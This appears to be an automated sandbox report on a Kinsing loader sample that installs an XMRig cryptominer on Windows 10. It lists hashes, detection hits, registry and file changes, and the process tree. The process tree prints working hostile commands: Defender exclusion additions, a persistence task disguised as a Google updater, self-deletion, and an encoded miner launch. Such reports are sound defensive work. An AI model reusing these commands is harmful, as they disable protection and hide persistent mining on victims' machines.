kinsing | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1798s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

kinsing xmrig loader miner upx

Malware Config

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2552 created 3496	2552	3JynzWc6LxNCT2y8.exe	65
PID 2552 created 3496	2552	3JynzWc6LxNCT2y8.exe	65
PID 2552 created 3496	2552	3JynzWc6LxNCT2y8.exe	65
PID 2552 created 3496	2552	3JynzWc6LxNCT2y8.exe	65
PID 4972 created 3496	4972	updater.exe	65
PID 4972 created 3496	4972	updater.exe	65
PID 4972 created 3496	4972	updater.exe	65
PID 748 created 3496	748	conhost.exe	65
PID 4972 created 3496	4972	updater.exe	65

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral2/memory/912-121-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-127-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-131-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-133-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-134-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-137-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-140-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-142-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-144-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-146-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-148-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-154-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-156-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-158-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-160-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-162-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-164-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-166-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-168-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-170-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-172-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-174-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-176-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-178-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-180-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-182-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-184-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-186-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-188-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-190-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig
behavioral2/memory/912-192-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4972	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/912-121-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-127-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-131-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-133-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-134-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-137-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-140-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-142-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-144-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-146-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-148-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-154-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-156-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-158-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-160-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-162-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-164-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-166-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-168-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-170-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-172-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-174-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-176-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-178-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-180-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-182-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-184-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-186-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-188-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-190-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx
behavioral2/memory/912-192-0x00007FF6714F0000-0x00007FF671CE4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4972 set thread context of 748	4972	updater.exe	118
PID 4972 set thread context of 912	4972	updater.exe	114

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2860	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2552	3JynzWc6LxNCT2y8.exe
2552	3JynzWc6LxNCT2y8.exe
3988	powershell.exe
3988	powershell.exe
2552	3JynzWc6LxNCT2y8.exe
2552	3JynzWc6LxNCT2y8.exe
2208	powershell.exe
2208	powershell.exe
2552	3JynzWc6LxNCT2y8.exe
2552	3JynzWc6LxNCT2y8.exe
2552	3JynzWc6LxNCT2y8.exe
2552	3JynzWc6LxNCT2y8.exe
1952	powershell.exe
1952	powershell.exe
4972	updater.exe
4972	updater.exe
3640	powershell.exe
3640	powershell.exe
4972	updater.exe
4972	updater.exe
2692	powershell.exe
2692	powershell.exe
4972	updater.exe
4972	updater.exe
4972	updater.exe
4972	updater.exe
748	conhost.exe
748	conhost.exe
4972	updater.exe
4972	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	powershell.exe
Token: SeSecurityPrivilege	2208	powershell.exe
Token: SeTakeOwnershipPrivilege	2208	powershell.exe
Token: SeLoadDriverPrivilege	2208	powershell.exe
Token: SeSystemProfilePrivilege	2208	powershell.exe
Token: SeSystemtimePrivilege	2208	powershell.exe
Token: SeProfSingleProcessPrivilege	2208	powershell.exe
Token: SeIncBasePriorityPrivilege	2208	powershell.exe
Token: SeCreatePagefilePrivilege	2208	powershell.exe
Token: SeBackupPrivilege	2208	powershell.exe
Token: SeRestorePrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeSystemEnvironmentPrivilege	2208	powershell.exe
Token: SeRemoteShutdownPrivilege	2208	powershell.exe
Token: SeUndockPrivilege	2208	powershell.exe
Token: SeManageVolumePrivilege	2208	powershell.exe
Token: 33	2208	powershell.exe
Token: 34	2208	powershell.exe
Token: 35	2208	powershell.exe
Token: 36	2208	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	powershell.exe
Token: SeSecurityPrivilege	2208	powershell.exe
Token: SeTakeOwnershipPrivilege	2208	powershell.exe
Token: SeLoadDriverPrivilege	2208	powershell.exe
Token: SeSystemProfilePrivilege	2208	powershell.exe
Token: SeSystemtimePrivilege	2208	powershell.exe
Token: SeProfSingleProcessPrivilege	2208	powershell.exe
Token: SeIncBasePriorityPrivilege	2208	powershell.exe
Token: SeCreatePagefilePrivilege	2208	powershell.exe
Token: SeBackupPrivilege	2208	powershell.exe
Token: SeRestorePrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeSystemEnvironmentPrivilege	2208	powershell.exe
Token: SeRemoteShutdownPrivilege	2208	powershell.exe
Token: SeUndockPrivilege	2208	powershell.exe
Token: SeManageVolumePrivilege	2208	powershell.exe
Token: 33	2208	powershell.exe
Token: 34	2208	powershell.exe
Token: 35	2208	powershell.exe
Token: 36	2208	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	powershell.exe
Token: SeSecurityPrivilege	2208	powershell.exe
Token: SeTakeOwnershipPrivilege	2208	powershell.exe
Token: SeLoadDriverPrivilege	2208	powershell.exe
Token: SeSystemProfilePrivilege	2208	powershell.exe
Token: SeSystemtimePrivilege	2208	powershell.exe
Token: SeProfSingleProcessPrivilege	2208	powershell.exe
Token: SeIncBasePriorityPrivilege	2208	powershell.exe
Token: SeCreatePagefilePrivilege	2208	powershell.exe
Token: SeBackupPrivilege	2208	powershell.exe
Token: SeRestorePrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeSystemEnvironmentPrivilege	2208	powershell.exe
Token: SeRemoteShutdownPrivilege	2208	powershell.exe
Token: SeUndockPrivilege	2208	powershell.exe
Token: SeManageVolumePrivilege	2208	powershell.exe
Token: 33	2208	powershell.exe
Token: 34	2208	powershell.exe
Token: 35	2208	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 3608	4464	cmd.exe	102
PID 4464 wrote to memory of 3608	4464	cmd.exe	102
PID 1952 wrote to memory of 1548	1952	powershell.exe	105
PID 1952 wrote to memory of 1548	1952	powershell.exe	105
PID 4972 wrote to memory of 748	4972	updater.exe	118
PID 4844 wrote to memory of 2860	4844	cmd.exe	112
PID 4844 wrote to memory of 2860	4844	cmd.exe	112
PID 4972 wrote to memory of 912	4972	updater.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3496
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2692
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:912
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4844
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:748

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:3608

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:508

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 952KB
SHA256 0c435e08097b8055426ed0a5a8fe34cbef5823e495df51e336744d865a6abff5
MD5 5d8f59efff531536a61cc10feb07e5af
SHA1 25f0a79e490d18b8f5267b17e3c5f26e009d0487
SHA512 7e49104194f82e28f9fc193a8dc6af372907cd7b19a270515cbafa575076d5d1f5398ee136105d09604a7b7cecf9def3f0ce0a6740d8cd14d30f08861a4324f7
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Feh:rWVipAxqo5p88CbXuxWQiSJU320Zo
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 424KB
SHA256 25d3158a7035d3c3f3b8d7fadaf46343299e68b7d956884c0101ef5283496f0a
MD5 7ad99de686fe9db7274f3ca8aa180165
SHA1 fdff8088533cbad7ecfc190856f4b80ee9a879f6
SHA512 70ba520436e2b2690baa94d635a1ee4b48055af00c4858160a37e40195934dd3b350cb9e4211bcdc8776254d393d566db032623a74e45dd1e2426975dc9885f1
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkb:rWVipGdVZjdqVC5jd88Fg
MD5 SHA1 SHA512 SSDEEP

